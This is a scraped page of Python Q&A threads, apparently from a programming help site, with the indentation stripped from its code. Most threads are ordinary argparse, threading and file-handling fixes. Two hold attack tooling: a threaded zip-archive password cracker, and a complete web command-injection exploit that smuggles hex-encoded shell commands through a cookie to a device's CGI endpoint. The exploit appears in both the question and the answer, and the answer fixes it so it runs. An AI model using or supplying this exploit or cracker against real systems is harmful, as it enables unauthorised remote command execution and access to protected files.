Python Arguments, Required 1 Argument - python

I am working on a zip file password cracker, and I need a brute-force option. I have the basic code for it written out, but I am not sure of how to use an argument to make it work. How can I write an argument to make this work?
import optparse
import zipfile
import argparse
from threading import Thread
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--brute")
def extract_zip(zFile, password):
try:
password_encoded = bytes(password.encode('utf-8'))
zFile.setpassword(password_encoded)
zFile.testzip()
print ("[+] Password Found: " + password + '\n')
except:
pass
def Main():
parser = optparse.OptionParser("useage &prog "+\
"-f <zipfile> -d <dictionary> / -b <brute force>")
parser.add_option('-f', dest='zname', type='string',\
help='specify zip file')
parser.add_option('-d', dest='dname', type='string',\
help='specify dictionary file')
parser.add_option('-b', dest='bname', type='string',\
help='specify brute force')
(options, arg) = parser.parse_args()
if (options.zname == None) | (options.dname == None) | (options.bname == None):
print (parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
bname = options.bname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
brute = open(bname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if args.brute:
characters = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
for length in range(1, int(args.brute)):
to_attempt = product(characters, repeat=length)
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
Main()

Related

I'm trying to create a directory with os.mkdir

import pathlib
import subprocess
import argparse
import os
from _datetime import datetime
def get_unique_run_id():
if os.environ.get("BUILD_NUMBER"):
unique_run_id = os.environ.get("BUILD_NUMBER")
elif os.environ.get("CUSTOM_BUILD_NUMBER"):
unique_run_id = os.environ.get("CUSTOM_BUILD_NUMBER")
else:
unique_run_id = datetime.now().strftime('%Y%M%D%H%M%S')
os.environ['UNIQUE_RUN_ID'] = unique_run_id
return unique_run_id
def create_output_directory(prefix='results_'):
global run_id
if not run_id:
raise Exception("Variable 'run_id' is not set. Unable to create output directory")
curr_file_path = pathlib.Path(__file__).parent.absolute()
dir_to_create = os.path.join(curr_file_path, prefix + str(run_id))
os.mkdir(dir_to_create)
print(f"Created output directory: {dir_to_create}")
return dir_to_create
if __name__ == "__main__":
run_id = get_unique_run_id()
output_dir = create_output_directory()
json_out_dir = os.path.join(output_dir, 'json_report_out.json')
junit_out_dir = os.path.join(output_dir, 'junit_report_out')
# import pdb; pdb.set_trace()
parser = argparse.ArgumentParser()
parser.add_argument('--test_directory', required=False, help='Specify the location of the test file')
parser.add_argument('--behave_options', type=str, required=False, help='String of behave options')
args = parser.parse_args()
test_directory = '' if not args.test_directory else args.test_directory
behave_options = '' if not args.behave_options else args.behave_options
command = f'behave -k--no-capture -f json.pretty -o {json_out_dir} ' \
f'--junit --junit-directory {junit_out_dir}' \
f'{behave_options} ' \
f'{test_directory}'
print(f"Running command : {command}")
rs = subprocess.run(command, shell=True)
When I try to run this I'm getting an error as follows:
FileNotFoundError: [WinError 3] The system cannot find the path specified: 'E:\Projects\results_20204710/11/20194751'. Please help me to find a solution for this.
Thought it could be installer error. So tried both 32bit and 64bit python installers. I'm totally lost here.
For a single directory:
os.mkdir(...)
For nested directories:
os.makedirs(...)
You can also check if a diretory exists:
os.path.exists(...)

Tableau workbook not displaying tabs from source file when migrated through Python Scipt

As a part of my assignment, i have been asked to migrate a tableau worksheet through a python script. The migration is successful but i do not get the tabs from source file in the output worksheet after the migration. Below are the images that will describe my position....
Screenshot 1:
Screenshot 2:
'''
Created on Sep 12, 2016
#author: johnsoja
'''
import argparse
import Utils
import os
dev_server="http://ftc-wberfapp202"
dev_user="sys_dev_erfadmin"
dev_pwd="xyz"
stg_server="https://ftc-wberfapp501"
stg_user="sys_dev_erfadmin"
stg_pwd="xyz"
prod_server="https://PTC-WBERFAPP101"
prod_user="sys_pr_erf_admin"
prod_pwd="xyz"
scriptdir = "E:\\Program Files\\Tableau\\Tableau Server\\10.1\\bin\\";
tabcmdlogincmd = "tabcmd login -s {0} -t {1} -u {2} -p {3} --cookie";
downloadfilecmd = "tabcmd get \"{0}\" -f \"{1}\" ";
publishfilecmd ="tabcmd publish \"{0}\" -r \"{1}\" --overwrite ";
tabcmdlogoutcmd = "tabcmd logout";
tmpFileLocation = "E:\\Tableau_Deployment_Application_SVN\\approved\\";
tmpDatasourceLocation = "E:\\Tableau_Deployment_Application_SVN\\datasources\\";
'''
Read from config file the data sources that are to be migrated.
'''
def readDataSourceConfig(configfilename):
print('reading config file name ({0})'.format(configfilename))
utils = Utils.ConfigUtil()
datasources = utils.ConfigSections(configfilename)
dataSourcesDict = dict()
dataSourceNames = []
for datasource in datasources:
print("Datasources to migrate ({0})".format(datasource))
dictionary = utils.ConfigSectionMap(configfilename, datasource)
dataSourcesDict[datasource] = dictionary
datasourcenm, connectionnm = datasource.split(":")
dataSourceNames.append(datasourcenm)
return dataSourcesDict, dataSourceNames
'''
Read from config file the data sources that are to be migrated.
'''
def readWorkbookConfig(configfilename):
print('reading config file name ({0})'.format(configfilename))
workbookprops = []
with open(configfilename) as file:
for line in file:
line = line.strip()
workbookprops.append(line)
print(workbookprops)
return workbookprops
def getWorkbooksFromSourceSite(source_server,source_username,source_password,source_site,source_project,dataSourceNames,workbookprops):
token, site_id, user_id = Utils.RestApiUtils.sign_in(source_site,source_server,source_username,source_password)
workbooks = Utils.RestApiUtils.query_workbooks(token, site_id, source_project);
datasources = Utils.RestApiUtils.query_datasources(token, site_id)
return workbooks, datasources
def uploadWorkbooksToDestinationSite(dest_server,dest_username,dest_password,dest_site,dest_project,workbooks,datasources,dataSourceNames,workbookprops,update_ds):
os.chdir(scriptdir)
print("********************")
print("Logging into the Tableau Server")
tabcmdlogincmdfrmt = tabcmdlogincmd.format(dest_server,dest_site,dest_username,dest_password)
tabcmdlogincmdfrmt = tabcmdlogincmdfrmt+" --no-certcheck "
print(tabcmdlogincmdfrmt)
Utils.Commons.runCommand(tabcmdlogincmdfrmt)
for workbook in workbooks:
workbook_name=workbook.get("contentUrl")
workbook_full_name=workbook.get("name")
if workbook_name in workbookprops:
workbookfile = "/workbooks/"+workbook_name+".twbx"
outputworkbookfile = tmpFileLocation+workbook_name+".twbx"
publishfilecmdfrmt=publishfilecmd.format(outputworkbookfile, dest_project,dest_username,dest_password)
print(publishfilecmdfrmt)
Utils.Commons.runCommand(publishfilecmdfrmt+" --no-certcheck ")
print("********************")
print("completed publishing workbooks")
Utils.Commons.runCommand(tabcmdlogoutcmd)
return workbooks, datasources
def stringComp(str_1, str_0):
if(str_1 is None):
str_1 = ""
if(str_0 is None):
str_0 = ""
return str_1.lower() == str_0.lower()
def usage():
print('\n This is the usage function: \n')
print('NonProd-Staging-Prod-Loader -a -f <location of erf<stg/prod>migration.properties> -s <sitename> -p <projectname>')
if __name__ == '__main__':
pass
parser = argparse.ArgumentParser()
parser.add_argument('-a', '--all')
parser.add_argument('-f', '--filepath')
parser.add_argument('-s', '--sitename', required=True)
parser.add_argument('-d', '--destsitename', required=True)
parser.add_argument('-p', '--projectname', required=True)
parser.add_argument('-t', '--target', required=True)
parser.add_argument('-u', '--updatedatasource')
args = parser.parse_known_args()[0]
if(args.target=="PROD"):
source_server = dev_server
source_username = dev_user
source_password = dev_pwd
source_site = args.sitename
source_project = args.projectname
dest_server = prod_server
dest_username = prod_user
dest_password = prod_pwd
dest_site = args.destsitename
dest_project = args.projectname
update_ds=args.updatedatasource
print("moving site {0} from server {1} to server {2}".format(source_site, stg_server, prod_server))
dest_ds_properties = "E:\\Tableau_Deployment_Application_SVN\\migrationconfigs\\ds.prod.properties";
dest_wkbk_properties = "E:\\Tableau_Deployment_Application_SVN\\migrationconfigs\\wkbk.properties";
if(args.target=="STG"):
source_server = dev_server
source_username = dev_user
source_password = dev_pwd
source_site = args.sitename
source_project = args.projectname
dest_server = stg_server
dest_username = stg_user
dest_password = stg_pwd
dest_site = args.destsitename
dest_project = args.projectname
update_ds=args.updatedatasource
print("moving site {0} from server {1} to server {2}".format(dest_site, dev_server, stg_server))
dest_ds_properties = "E:\\Tableau_Deployment_Application_SVN\\migrationconfigs\\ds.prod.properties";
dest_wkbk_properties = "E:\\Tableau_Deployment_Application_SVN\\migrationconfigs\\wkbk.properties";
datasourceprops, dataSourceNames = readDataSourceConfig(dest_ds_properties);
##print("Data source names from properties")
##print(dataSourceNames)
workbookprops = readWorkbookConfig(dest_wkbk_properties);
workbooks, datasources = getWorkbooksFromSourceSite(source_server,source_username,source_password,source_site,source_project,dataSourceNames,workbookprops)
workbooks, datasources = uploadWorkbooksToDestinationSite(dest_server,dest_username,dest_password,dest_site,dest_project,workbooks,datasources,dataSourceNames,workbookprops,update_ds)
print("Completed Migration!!!!")
This is probably happening because you have not specified the --tabbed option in your tabcmd publish command.
Change this line of code:
publishfilecmd ="tabcmd publish \"{0}\" -r \"{1}\" --overwrite ";
to
publishfilecmd ="tabcmd publish \"{0}\" -r \"{1}\" --overwrite --tabbed";

Threading with Queue and simultaneous print in Python

I'm trying to complete exercise about threading module. In my example, I just want to create workers which will just print filenames.
import optparse
import os
import queue
import threading
def main():
opts, args = parse_options()
filelist = get_files(args)
worker_queue= queue.Queue()
for i in range(opts.count):
threadnum = "{0}: ".format(i+1) if opts.debug else ""
worker = Worker(worker_queue, threadnum)
worker.daemon = True
worker.start()
for file in filelist:
worker_queue.put(file)
worker_queue.join()
class Worker(threading.Thread):
def __init__(self, worker_queue, threadnum):
super().__init__()
self.worker_queue = worker_queue
self.threadnum = threadnum
self.result = []
def run(self):
while True:
try:
file = self.worker_queue.get()
self.process(file)
finally:
self.worker_queue.task_done()
def process(self, file):
print("{0}{1}".format(self.threadnum, file))
def parse_options():
parser = optparse.OptionParser(
usage = "xmlsummary.py [options] [path] outputs a summary of the XML files in path; path defaults to .")
parser.add_option("-t", "--threads", dest = "count", default = 7,type = "int", help = ("the number of threads to use (1..20) [default %default]"))
parser.add_option("-v", "--verbose", default = False, action = "store_true", help = ("show verbose information if requested, [default %default]"))
parser.add_option("-d", "--debug", dest = "debug", default = False, action = "store_true", help = ("show debug information such as thread id, [default, %default]"))
opts, args = parser.parse_args()
if not (1 <= opts.count <= 20):
parser.error("threads must be in following range (1..20)")
return opts, args
def get_files(args):
filelist = []
for item in args:
if os.path.isfile(item):
filelist.append(item)
else:
for root, dirs , files in os.walk(item):
for file in files:
filelist.append(os.path.join(root, file))
return filelist
main()
This code returns me with -d option (which will include thread ID in output):
1: C:\P\1.jpg2: C:\P\2.jpg3: C:\P\3chapter.bat4: C:\P\423.txt5: C:\P\a.txt6: C:\P\bike.dat7: C:\P\binary1.dat
The first question is:
all threads print out in one line because each thread use one sys.stdout?
I have change print command with following:
def process(self, file):
print("{0}{1}\n".format(self.threadnum, file))
and now this I have following results:
1: C:\P\1.jpg
2: C:\P\2.jpg
3: C:\P\3chapter.bat
4: C:\P\423.txt
5: C:\P\a.txt
6: C:\P\bike.dat
7: C:\P\binary1.dat
1: C:\P\dckm.txt
2: C:\P\dlkcm.txt
3: C:\P\email.html
The second question is:
how to remove empty lines from the output?
You are on the right track with the sys.stdout. A simple solutin to both problems would be a function like this
def tprint(msg):
sys.stdout.write(str(msg) + '\n')
sys.stdout.flush()
and use it instead sys.stdout

Python notepad and autosaving?

I have been creating a notepad program just for fun. I was wondering how I might create an automatic saving function into my code. Perhaps with a loop and a write to file function?
Here is My notepad code:
import argparse, sys
parser = argparse.ArgumentParser()
parser.add_argument('-w', action='store_true', help='File to write to')
parser.add_argument('-o', action='store_true', help='Open File and Edit')
argument = parser.parse_args()
print('Noteleaf')
if argument.w == True:
try:
wF = raw_input('Write File: ')
w = open(str(wF), 'w')
w.write(raw_input('-> '))
w.close()
except:
print('\nWrite to File Failed')
sys.exit()
if argument.o == True:
try:
oF = raw_input('Open File: ')
o = open(str(oF), 'r')
print(o.read())
with open(str(oF), 'a') as addfile:
addfile.write(raw_input(''))
o.close()
except:
print('\nOpen and Edit Failed')
sys.exit()
import os, time
time.sleep(2)
os.system('clear')

windows Python Name error

I am getting name error for this code.
error message: Traceback (most recent call last):
File "D:\injection.py", line 16, in
opts, args = getopt.getopt(argv, "h", ["help", "target="])
NameError: name 'argv' is not defined
#!/usr/bin/python
import sys
import getopt
import urllib
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])
Can anyone help me fix the problem.this code works flawless in linux but not in windows
There are couple of indentation errors. Try this,
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])

Categories